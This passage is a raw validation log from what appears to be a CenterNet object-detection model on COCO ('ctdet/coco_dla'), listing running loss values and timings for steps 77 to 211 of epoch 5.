0:00:00 |loss 2.0294 |hm_loss 1.3739 |wh_loss 5.6540 |off_loss 0.0900 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][77/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 2.0040 |hm_loss 1.3570 |wh_loss 5.5816 |off_loss 0.0889 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][78/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.9793 |hm_loss 1.3405 |wh_loss 5.5109 |off_loss 0.0878 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][79/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.9552 |hm_loss 1.3244 |wh_loss 5.4420 |off_loss 0.0867 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][80/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.9317 |hm_loss 1.3087 |wh_loss 5.3748 |off_loss 0.0856 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][81/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.9088 |hm_loss 1.2934 |wh_loss 5.3093 |off_loss 0.0845 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][82/2110]|Tot: 0:00:01 |ETA: 0:00:00 |loss 1.8865 |hm_loss 1.2784 |wh_loss 5.2453 |off_loss 0.0835 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][83/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.8647 |hm_loss 1.2638 |wh_loss 5.1829 |off_loss 0.0825 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][84/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.8433 |hm_loss 1.2496 |wh_loss 5.1219 |off_loss 0.0816 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][85/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.8225 |hm_loss 1.2357 |wh_loss 5.0623 |off_loss 0.0806 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][86/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.8022 |hm_loss 1.2221 |wh_loss 5.0041 |off_loss 0.0797 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][87/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.7823 |hm_loss 1.2088 |wh_loss 4.9473 |off_loss 0.0788 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][88/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.7629 |hm_loss 1.1958 |wh_loss 4.8917 |off_loss 0.0779 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][89/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.7439 |hm_loss 1.1832 |wh_loss 4.8373 |off_loss 0.0770 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][90/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.7253 |hm_loss 1.1707 |wh_loss 4.7842 |off_loss 0.0762 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][91/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.7072 |hm_loss 1.1586 |wh_loss 4.7322 |off_loss 0.0754 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][92/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.6894 |hm_loss 1.1467 |wh_loss 4.6813 |off_loss 0.0745 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][93/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.6719 |hm_loss 1.1350 |wh_loss 4.6315 |off_loss 0.0738 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][94/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.6549 |hm_loss 1.1236 |wh_loss 4.5827 |off_loss 0.0730 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][95/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.6382 |hm_loss 1.1124 |wh_loss 4.5350 |off_loss 0.0722 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][96/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.6218 |hm_loss 1.1015 |wh_loss 4.4883 |off_loss 0.0715 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][97/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.6058 |hm_loss 1.0908 |wh_loss 4.4425 |off_loss 0.0707 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][98/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5902 |hm_loss 1.0804 |wh_loss 4.3976 |off_loss 0.0700 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][99/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5748 |hm_loss 1.0701 |wh_loss 4.3536 |off_loss 0.0693 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][100/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5597 |hm_loss 1.0600 |wh_loss 4.3105 |off_loss 0.0686 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][101/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5450 |hm_loss 1.0502 |wh_loss 4.2682 |off_loss 0.0680 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][102/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5305 |hm_loss 1.0405 |wh_loss 4.2268 |off_loss 0.0673 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][103/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5163 |hm_loss 1.0310 |wh_loss 4.1862 |off_loss 0.0667 |Data 0.000s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][104/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.5024 |hm_loss 1.0218 |wh_loss 4.1463 |off_loss 0.0660 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][105/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4888 |hm_loss 1.0127 |wh_loss 4.1072 |off_loss 0.0654 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][106/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4754 |hm_loss 1.0037 |wh_loss 4.0688 |off_loss 0.0648 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][107/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4623 |hm_loss 0.9949 |wh_loss 4.0311 |off_loss 0.0642 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][108/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4494 |hm_loss 0.9863 |wh_loss 3.9941 |off_loss 0.0636 |Data 0.001s(0.003s) |Net 0.024s ctdet/coco_dla| val: [5][109/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4367 |hm_loss 0.9779 |wh_loss 3.9578 |off_loss 0.0630 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][110/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4243 |hm_loss 0.9696 |wh_loss 3.9222 |off_loss 0.0625 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][111/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4120 |hm_loss 0.9614 |wh_loss 3.8872 |off_loss 0.0619 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][112/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.4001 |hm_loss 0.9534 |wh_loss 3.8528 |off_loss 0.0613 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][113/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3883 |hm_loss 0.9456 |wh_loss 3.8190 |off_loss 0.0608 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][114/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3767 |hm_loss 0.9378 |wh_loss 3.7857 |off_loss 0.0603 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][115/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3653 |hm_loss 0.9302 |wh_loss 3.7531 |off_loss 0.0598 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][116/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3541 |hm_loss 0.9228 |wh_loss 3.7210 |off_loss 0.0593 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][117/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3431 |hm_loss 0.9154 |wh_loss 3.6895 |off_loss 0.0588 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][118/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3323 |hm_loss 0.9082 |wh_loss 3.6585 |off_loss 0.0583 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][119/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3217 |hm_loss 0.9011 |wh_loss 3.6280 |off_loss 0.0578 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][120/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3113 |hm_loss 0.8942 |wh_loss 3.5980 |off_loss 0.0573 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][121/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.3010 |hm_loss 0.8873 |wh_loss 3.5685 |off_loss 0.0568 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][122/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.2909 |hm_loss 0.8806 |wh_loss 3.5395 |off_loss 0.0564 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][123/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.2810 |hm_loss 0.8739 |wh_loss 3.5110 |off_loss 0.0559 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][124/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.2712 |hm_loss 0.8674 |wh_loss 3.4829 |off_loss 0.0555 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][125/2110]|Tot: 0:00:02 |ETA: 0:00:00 |loss 1.2615 |hm_loss 0.8610 |wh_loss 3.4552 |off_loss 0.0550 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][126/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2521 |hm_loss 0.8547 |wh_loss 3.4280 |off_loss 0.0546 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][127/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2427 |hm_loss 0.8485 |wh_loss 3.4013 |off_loss 0.0542 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][128/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2336 |hm_loss 0.8423 |wh_loss 3.3749 |off_loss 0.0537 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][129/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2245 |hm_loss 0.8363 |wh_loss 3.3489 |off_loss 0.0533 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][130/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2156 |hm_loss 0.8304 |wh_loss 3.3234 |off_loss 0.0529 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][131/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2069 |hm_loss 0.8245 |wh_loss 3.2982 |off_loss 0.0525 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][132/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.1983 |hm_loss 0.8188 |wh_loss 3.2734 |off_loss 0.0521 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][133/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.1898 |hm_loss 0.8131 |wh_loss 3.2490 |off_loss 0.0517 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][134/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.1814 |hm_loss 0.8076 |wh_loss 3.2249 |off_loss 0.0514 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][135/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2166 |hm_loss 0.8280 |wh_loss 3.3400 |off_loss 0.0547 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][136/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2588 |hm_loss 0.8518 |wh_loss 3.5030 |off_loss 0.0567 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][137/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.2973 |hm_loss 0.8768 |wh_loss 3.6331 |off_loss 0.0572 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][138/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.3323 |hm_loss 0.9019 |wh_loss 3.7348 |off_loss 0.0569 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][139/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.3754 |hm_loss 0.9270 |wh_loss 3.9019 |off_loss 0.0582 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][140/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4149 |hm_loss 0.9516 |wh_loss 4.0390 |off_loss 0.0595 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][141/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4525 |hm_loss 0.9761 |wh_loss 4.1609 |off_loss 0.0603 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][142/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4888 |hm_loss 1.0001 |wh_loss 4.2626 |off_loss 0.0625 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][143/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4788 |hm_loss 0.9935 |wh_loss 4.2330 |off_loss 0.0620 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][144/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4690 |hm_loss 0.9870 |wh_loss 4.2038 |off_loss 0.0616 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][145/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4593 |hm_loss 0.9807 |wh_loss 4.1750 |off_loss 0.0612 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][146/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4498 |hm_loss 0.9744 |wh_loss 4.1466 |off_loss 0.0608 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][147/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.4794 |hm_loss 0.9909 |wh_loss 4.2533 |off_loss 0.0632 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][148/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5107 |hm_loss 1.0080 |wh_loss 4.3680 |off_loss 0.0659 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][149/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5423 |hm_loss 1.0281 |wh_loss 4.4804 |off_loss 0.0662 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][150/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5743 |hm_loss 1.0476 |wh_loss 4.5695 |off_loss 0.0697 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][151/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6120 |hm_loss 1.0688 |wh_loss 4.7273 |off_loss 0.0705 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][152/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6527 |hm_loss 1.0894 |wh_loss 4.9002 |off_loss 0.0732 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][153/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6915 |hm_loss 1.1078 |wh_loss 5.0802 |off_loss 0.0756 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][154/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6809 |hm_loss 1.1011 |wh_loss 5.0474 |off_loss 0.0751 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][155/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6706 |hm_loss 1.0944 |wh_loss 5.0150 |off_loss 0.0747 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][156/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6603 |hm_loss 1.0879 |wh_loss 4.9831 |off_loss 0.0742 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][157/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6503 |hm_loss 1.0814 |wh_loss 4.9516 |off_loss 0.0737 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][158/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6403 |hm_loss 1.0750 |wh_loss 4.9204 |off_loss 0.0733 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][159/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6305 |hm_loss 1.0687 |wh_loss 4.8897 |off_loss 0.0728 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][160/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6207 |hm_loss 1.0625 |wh_loss 4.8593 |off_loss 0.0723 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][161/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6111 |hm_loss 1.0563 |wh_loss 4.8293 |off_loss 0.0719 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][162/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.6016 |hm_loss 1.0502 |wh_loss 4.7997 |off_loss 0.0715 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][163/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5922 |hm_loss 1.0442 |wh_loss 4.7704 |off_loss 0.0710 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][164/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5829 |hm_loss 1.0382 |wh_loss 4.7415 |off_loss 0.0706 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][165/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5737 |hm_loss 1.0323 |wh_loss 4.7129 |off_loss 0.0702 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][166/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5647 |hm_loss 1.0264 |wh_loss 4.6847 |off_loss 0.0697 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][167/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5557 |hm_loss 1.0207 |wh_loss 4.6568 |off_loss 0.0693 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][168/2110]|Tot: 0:00:03 |ETA: 0:00:00 |loss 1.5468 |hm_loss 1.0149 |wh_loss 4.6293 |off_loss 0.0689 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][169/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5707 |hm_loss 1.0296 |wh_loss 4.7153 |off_loss 0.0696 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][170/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6018 |hm_loss 1.0472 |wh_loss 4.8244 |off_loss 0.0722 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][171/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6324 |hm_loss 1.0662 |wh_loss 4.9057 |off_loss 0.0755 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][172/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6567 |hm_loss 1.0859 |wh_loss 4.9462 |off_loss 0.0762 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][173/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6828 |hm_loss 1.1053 |wh_loss 4.9991 |off_loss 0.0776 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][174/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7141 |hm_loss 1.1244 |wh_loss 5.1003 |off_loss 0.0797 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][175/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7478 |hm_loss 1.1430 |wh_loss 5.2357 |off_loss 0.0812 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][176/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7382 |hm_loss 1.1368 |wh_loss 5.2061 |off_loss 0.0807 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][177/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7287 |hm_loss 1.1307 |wh_loss 5.1769 |off_loss 0.0803 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][178/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7194 |hm_loss 1.1247 |wh_loss 5.1480 |off_loss 0.0798 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][179/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7101 |hm_loss 1.1188 |wh_loss 5.1194 |off_loss 0.0794 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][180/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.7009 |hm_loss 1.1129 |wh_loss 5.0911 |off_loss 0.0790 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][181/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6919 |hm_loss 1.1070 |wh_loss 5.0631 |off_loss 0.0785 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][182/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6829 |hm_loss 1.1013 |wh_loss 5.0354 |off_loss 0.0781 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][183/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6741 |hm_loss 1.0956 |wh_loss 5.0081 |off_loss 0.0777 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][184/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6653 |hm_loss 1.0899 |wh_loss 4.9810 |off_loss 0.0773 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][185/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6566 |hm_loss 1.0843 |wh_loss 4.9542 |off_loss 0.0768 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][186/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6480 |hm_loss 1.0788 |wh_loss 4.9277 |off_loss 0.0764 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][187/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6395 |hm_loss 1.0734 |wh_loss 4.9015 |off_loss 0.0760 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][188/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6311 |hm_loss 1.0680 |wh_loss 4.8756 |off_loss 0.0756 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][189/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6228 |hm_loss 1.0626 |wh_loss 4.8499 |off_loss 0.0752 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][190/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6146 |hm_loss 1.0573 |wh_loss 4.8245 |off_loss 0.0748 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][191/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6064 |hm_loss 1.0521 |wh_loss 4.7994 |off_loss 0.0744 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][192/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5984 |hm_loss 1.0469 |wh_loss 4.7745 |off_loss 0.0741 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][193/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5904 |hm_loss 1.0418 |wh_loss 4.7499 |off_loss 0.0737 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][194/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5825 |hm_loss 1.0367 |wh_loss 4.7256 |off_loss 0.0733 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][195/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5747 |hm_loss 1.0317 |wh_loss 4.7014 |off_loss 0.0729 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][196/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5670 |hm_loss 1.0267 |wh_loss 4.6776 |off_loss 0.0726 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][197/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5594 |hm_loss 1.0218 |wh_loss 4.6540 |off_loss 0.0722 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][198/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5518 |hm_loss 1.0169 |wh_loss 4.6306 |off_loss 0.0718 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][199/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5443 |hm_loss 1.0121 |wh_loss 4.6074 |off_loss 0.0715 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][200/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5660 |hm_loss 1.0249 |wh_loss 4.6863 |off_loss 0.0724 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][201/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5879 |hm_loss 1.0410 |wh_loss 4.7428 |off_loss 0.0727 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][202/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6171 |hm_loss 1.0575 |wh_loss 4.8549 |off_loss 0.0741 |Data 0.002s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][203/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6094 |hm_loss 1.0526 |wh_loss 4.8311 |off_loss 0.0738 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][204/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.6019 |hm_loss 1.0477 |wh_loss 4.8076 |off_loss 0.0734 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][205/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5943 |hm_loss 1.0429 |wh_loss 4.7842 |off_loss 0.0730 |Data 0.000s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][206/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5869 |hm_loss 1.0381 |wh_loss 4.7611 |off_loss 0.0727 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][207/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5795 |hm_loss 1.0334 |wh_loss 4.7382 |off_loss 0.0723 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][208/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5722 |hm_loss 1.0287 |wh_loss 4.7155 |off_loss 0.0720 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][209/2110]|Tot: 0:00:04 |ETA: 0:00:00 |loss 1.5650 |hm_loss 1.0240 |wh_loss 4.6931 |off_loss 0.0717 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][210/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5579 |hm_loss 1.0195 |wh_loss 4.6708 |off_loss 0.0713 |Data 0.001s(0.002s) |Net 0.024s ctdet/coco_dla| val: [5][211/2110]|Tot: 0:00:05 |ETA: 0:00:00 |loss 1.5508 